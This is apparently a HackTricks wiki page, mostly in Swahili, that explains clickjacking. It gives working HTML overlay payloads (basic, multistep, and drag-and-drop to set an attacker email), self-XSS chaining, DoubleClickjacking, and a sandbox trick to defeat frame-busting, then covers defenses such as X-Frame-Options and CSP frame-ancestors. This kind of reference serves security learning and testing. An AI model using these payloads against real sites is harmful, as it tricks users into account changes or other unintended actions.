Clickjacking

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

What is Clickjacking

Katika shambulio la clickjacking, mtumiaji anachukuliwa kudanganywa ili kubofya kipengele kwenye ukurasa wa wavuti ambacho ni bila kuonekana au kimejificha kama kipengele kingine. Manipulasi hii inaweza kusababisha matokeo yasiyokusudiwa kwa mtumiaji, kama vile kupakua malware, kuelekezwa kwenye kurasa za wavuti zenye uharibifu, kutoa akidi au taarifa nyeti, uhamishaji wa pesa, au ununuzi wa bidhaa mtandaoni.

Prepopulate forms trick

Wakati mwingine inawezekana kujaza thamani ya maeneo ya fomu kwa kutumia vigezo vya GET wakati wa kupakia ukurasa. Mshambuliaji anaweza kutumia tabia hii vibaya kujaza fomu na data isiyo ya kawaida na kutuma payload ya clickjacking ili mtumiaji abofye kitufe cha Submit.

Populate form with Drag&Drop

Ikiwa unahitaji mtumiaji ajaze fomu lakini hutaki kumwambia moja kwa moja aandike taarifa maalum (kama barua pepe au nywila maalum unayojua), unaweza tu kumwambia Drag&Drop kitu ambacho kitaandika data yako iliyodhibitiwa kama katika mfano huu.

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Multistep Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Ikiwa umepata shambulio la XSS linalohitaji mtumiaji kubonyeza kwenye kipengele fulani ili kuanzisha XSS na ukurasa ni hawezi kuathiriwa na clickjacking, unaweza kutumia hiyo kumdanganya mtumiaji kubonyeza kitufe/kiungo.
Mfano:
Umebaini self XSS katika maelezo ya kibinafsi ya akaunti (maelezo ambayo ni wewe pekee unaweza kuweka na kusoma). Ukurasa wenye fomu ya kuweka maelezo haya ni hawezi kuathiriwa na Clickjacking na unaweza kujaza fomu kwa vigezo vya GET.
Mshambuliaji anaweza kuandaa shambulio la Clickjacking kwa ukurasa huo ukijaza fomu kwa XSS payload na kumdanganya mtumiaji ku Tuma fomu. Hivyo, wakati fomu inatumwa na thamani zimebadilishwa, mtumiaji atatekeleza XSS.

DoubleClickjacking

Kwanza ilielezwa katika chapisho hili, mbinu hii itamwomba mwathirika kubonyeza mara mbili kwenye kitufe cha ukurasa maalum kilichowekwa mahali fulani, na kutumia tofauti za wakati kati ya matukio ya mousedown na onclick ili kupakia ukurasa wa mwathirika wakati wa kubonyeza mara mbili ili mwathirika kweli abonyeze kitufe halali kwenye ukurasa wa mwathirika.

Mfano unaweza kuonekana katika video hii: https://www.youtube.com/watch?v=4rGvRRMrD18

warning

Mbinu hii inaruhusu kumdanganya mtumiaji kubonyeza mahali 1 kwenye ukurasa wa mwathirika ikipita kila ulinzi dhidi ya clickjacking. Hivyo mshambuliaji anahitaji kutafuta vitendo nyeti ambavyo vinaweza kufanywa kwa kubonyeza 1 tu, kama vile maonyo ya OAuth yanayokubali ruhusa.

Mikakati ya Kupunguza Clickjacking

Ulinzi wa Upande wa Mteja

Scripts zinazotekelezwa upande wa mteja zinaweza kufanya vitendo vya kuzuia Clickjacking:

  • Kuhakikisha dirisha la programu ndilo dirisha kuu au la juu.
  • Kufanya fremu zote ziwe wazi.
  • Kuzuia bonyeza kwenye fremu zisizoonekana.
  • Kugundua na kuwajulisha watumiaji kuhusu majaribio ya Clickjacking yanayoweza kutokea.

Hata hivyo, hizi scripts za kuvunja fremu zinaweza kupuuziliwa mbali:

  • Mipangilio ya Usalama ya Vivinjari: Vivinjari vingine vinaweza kuzuia hizi scripts kulingana na mipangilio yao ya usalama au ukosefu wa msaada wa JavaScript.
  • HTML5 iframe sandbox Attribute: Mshambuliaji anaweza kuondoa scripts za kuvunja fremu kwa kuweka sifa ya sandbox na thamani za allow-forms au allow-scripts bila allow-top-navigation. Hii inazuia iframe kuthibitisha ikiwa ni dirisha la juu, e.g.,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.

Server-Side Defenses

X-Frame-Options

The X-Frame-Options HTTP response header informs browsers about the legitimacy of rendering a page in a <frame> or <iframe>, helping to prevent Clickjacking:

  • X-Frame-Options: deny - Hakuna domain inayoweza kuweka maudhui kwenye fremu.
  • X-Frame-Options: sameorigin - Tovuti ya sasa pekee inaweza kuweka maudhui kwenye fremu.
  • X-Frame-Options: allow-from https://trusted.com - Tovuti iliyoainishwa pekee inaweza kuweka ukurasa kwenye fremu.
  • Kumbuka mipaka: ikiwa kivinjari hakikubali mwelekeo huu, huenda usifanye kazi. Kivinjari vingine hupendelea mwelekeo wa CSP frame-ancestors.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP is the advised method for Clickjacking protection:

  • frame-ancestors 'none' - Kama X-Frame-Options: deny.
  • frame-ancestors 'self' - Kama X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Kama X-Frame-Options: allow-from.

For instance, the following CSP only allows framing from the same domain:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.

frame-src Directive

  • Defines valid sources for frames.
  • More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Sera hii inaruhusu fremu kutoka chanzo kimoja (mwenyewe) na https://trusted-website.com.

child-src Mwelekeo

  • Imeanzishwa katika kiwango cha CSP 2 kuweka vyanzo halali kwa wafanyakazi wa wavuti na fremu.
  • Inafanya kazi kama akiba kwa frame-src na worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Sera hii inaruhusu fremu na wafanyakazi kutoka chanzo kimoja (mwenyewe) na https://trusted-website.com.

Maelezo ya Matumizi:

  • Kuondolewa: child-src inatolewa polepole kwa ajili ya frame-src na worker-src.
  • Tabia ya Kurejelea: Ikiwa frame-src haipo, child-src inatumika kama kurejelea kwa fremu. Ikiwa zote hazipo, default-src inatumika.
  • Mwelekeo Mkali wa Chanzo: Jumuisha tu vyanzo vinavyotegemewa katika maagizo ili kuzuia unyakuzi.

Mifumo ya JavaScript ya Kuvunja Fremu

Ingawa si salama kabisa, mifumo ya kuvunja fremu inayotumia JavaScript inaweza kutumika kuzuia ukurasa wa wavuti usiwe na fremu. Mfano:

javascript
if (top !== self) {
top.location = self.location
}

Kutumia Tokeni za Anti-CSRF

  • Uthibitishaji wa Tokeni: Tumia tokeni za anti-CSRF katika programu za wavuti ili kuhakikisha kwamba maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na si kupitia ukurasa wa Clickjacked.

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks